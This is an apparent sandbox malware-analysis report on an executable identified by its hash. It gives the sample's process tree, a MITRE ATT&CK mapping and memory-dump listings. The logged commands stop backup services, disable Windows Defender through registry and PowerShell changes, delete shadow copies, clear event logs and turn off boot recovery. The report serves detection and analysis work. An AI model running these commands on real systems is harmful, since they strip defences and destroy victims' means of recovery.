PID 3032 wrote to memory of 2468	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	101
PID 3032 wrote to memory of 2468	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	101
PID 3032 wrote to memory of 3676	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	103
PID 3032 wrote to memory of 3676	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	103
PID 3032 wrote to memory of 1472	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	105
PID 3032 wrote to memory of 1472	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	105
PID 3032 wrote to memory of 1268	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	107
PID 3032 wrote to memory of 1268	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	107
PID 3032 wrote to memory of 1168	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	109
PID 3032 wrote to memory of 1168	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	109
PID 3032 wrote to memory of 1416	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	111
PID 3032 wrote to memory of 1416	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	111
PID 3032 wrote to memory of 1708	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	113
PID 3032 wrote to memory of 1708	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	113
PID 3032 wrote to memory of 1972	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	115
PID 3032 wrote to memory of 1972	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	115
PID 3032 wrote to memory of 2204	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	117
PID 3032 wrote to memory of 2204	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	117
PID 3032 wrote to memory of 2932	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	119
PID 3032 wrote to memory of 2932	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	119
PID 3032 wrote to memory of 3376	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	121
PID 3032 wrote to memory of 3376	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	121

C:\Users\Admin\AppData\Local\Temp\12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
"C:\Users\Admin\AppData\Local\Temp\12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:504
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:800
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:3372
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:2272
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:860
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:3808
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:1212
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:1836
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_138e5" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_138e5" /y
    3⤵
    PID:1560
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  PID:3804
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  PID:1032
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  PID:2468
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  PID:3676
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  PID:1268
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  PID:1168
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_138e5" start= disabled
  2⤵
  PID:1416
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1708
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:1972
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:2204
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:1712
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:1720
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:3560
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:3620
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  PID:1536
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:2152
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:644
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:1172
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:3444
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:3008
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:860
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:3164
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:868
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:3628
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:396
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1188
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1564
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:3988
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2504
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1376
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2288
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3912
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4080
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3052
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:640
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:828
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3640
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  PID:1368
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:584
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1200
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:864
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:1832
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:2868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:1664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:1452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1092-184-0x00000291DE1A3000-0x00000291DE1A5000-memory.dmp

Filesize
8KB

Download
memory/1092-225-0x00000291DE1A8000-0x00000291DE1A9000-memory.dmp

Filesize
4KB

Download
memory/1092-187-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-186-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-185-0x00000291DE1E0000-0x00000291DE1E1000-memory.dmp

Filesize
4KB

Download
memory/1092-191-0x00000291DE1A6000-0x00000291DE1A8000-memory.dmp

Filesize
8KB

Download
memory/1092-182-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-189-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-183-0x00000291DE1A0000-0x00000291DE1A2000-memory.dmp

Filesize
8KB

Download
memory/1092-181-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-180-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-188-0x00000291DE390000-0x00000291DE391000-memory.dmp

Filesize
4KB

Download
memory/1092-179-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/1092-212-0x00000291C42B0000-0x00000291C42B2000-memory.dmp

Filesize
8KB

Download
memory/3904-215-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-221-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-214-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-216-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-217-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-250-0x0000029D1F0E8000-0x0000029D1F0E9000-memory.dmp

Filesize
4KB

Download
memory/3904-220-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-249-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-223-0x0000029D1F090000-0x0000029D1F092000-memory.dmp

Filesize
8KB

Download
memory/3904-229-0x0000029D1F0E3000-0x0000029D1F0E5000-memory.dmp

Filesize
8KB

Download
memory/3904-226-0x0000029D1F0E6000-0x0000029D1F0E8000-memory.dmp

Filesize
8KB

Download
memory/3904-227-0x0000029D1F0E0000-0x0000029D1F0E2000-memory.dmp

Filesize
8KB

Download